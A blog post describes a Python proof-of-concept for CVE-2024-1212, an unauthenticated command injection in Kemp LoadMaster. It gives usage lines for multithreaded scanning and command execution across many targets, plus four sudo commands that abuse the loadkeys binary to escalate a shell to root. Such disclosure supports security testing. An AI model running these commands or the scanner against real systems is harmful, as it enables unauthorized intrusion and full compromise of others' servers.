Cyber security

CVE-2024-1212 Command Injection Exploit For Kemp LoadMaster : A Comprehensive Guide

This Python script is designed as a proof of concept (PoC) to demonstrate an unauthenticated command injection vulnerability in Kemp LoadMaster, identified as CVE-2024-1212.

Features

  • Scan a single target or multiple targets for the CVE-2024-1212 vulnerability.
  • Execute commands on vulnerable targets.
  • Utilize multi-threading for faster scanning of multiple targets.
  • Save vulnerable targets to an output file for further analysis.

Usage

To use this script, Python 3 must be installed on your system. You can execute the script in the terminal or command prompt as follows:

python exploit.py --url "http://target-url.com"

To scan multiple targets from a file:

python exploit.py -f targets.txt -o vulnerable.txt -t 50

Options

  • -u, --url: Specify a target URL for command injection.
  • -f, --file: Specify a file containing target URLs to scan.
  • -o, --output: Specify an output file for saving scan results.
  • -t, --threads: Specify the number of threads to use for scanning.

Disclaimer

This tool is provided for educational purposes only and is designed to help security professionals test the vulnerability of their own systems. Unauthorized testing on systems that you do not have explicit permission to test is illegal and unethical. Use this tool responsibly.

Privilege Escalation

Once a shell has been obtained, privilege escalation can be achieved by following these commands as per the researcher’s guidance:

sudo /bin/cp /bin/loadkeys /tmp/loadkeys
sudo /bin/cp /bin/bash /bin/loadkeys
sudo /bin/loadkeys -c /bin/bash
cp /tmp/loadkeys /bin/loadkeys
Tamil S

Tamil has a great interest in the fields of Cyber Security, OSINT, and CTF projects. Currently, he is deeply involved in researching and publishing various security tools with Kali Linux Tutorials, which is quite fascinating.

Recent Posts

PromptFoo – Streamlining LLM Application Development And Security Testing

An innovative tool designed to revolutionize the testing, evaluation, and security of LLM applications. This…

4 days ago

AdbNet – Mastering Android Device Exploitation

A sophisticated tool designed for exploiting vulnerabilities in Android devices. This article dives into the…

5 days ago

SeamlessPass – Bridging Kerberos Authentication With Microsoft 365 Access

SeamlessPass is a tool designed to obtain Microsoft 365 access tokens using on-premises Active Directory…

5 days ago

Awesome Forensics – The Forensic Analyst’s Toolkit An In-Depth Exploration

Comprehensive guide to the tools and resources pivotal in the world of forensic analysis. From…

5 days ago

CVEScannerV2 – Enhancing Network Security With Nmap Vulnerability Detection Script

An advanced Nmap script designed to detect potential vulnerabilities in network services. This article delves…

5 days ago

File Tunnel – Innovative TCP Connection Tunneling via Files

A powerful tool designed to tunnel TCP connections through a file. Ideal for circumventing firewalls…

5 days ago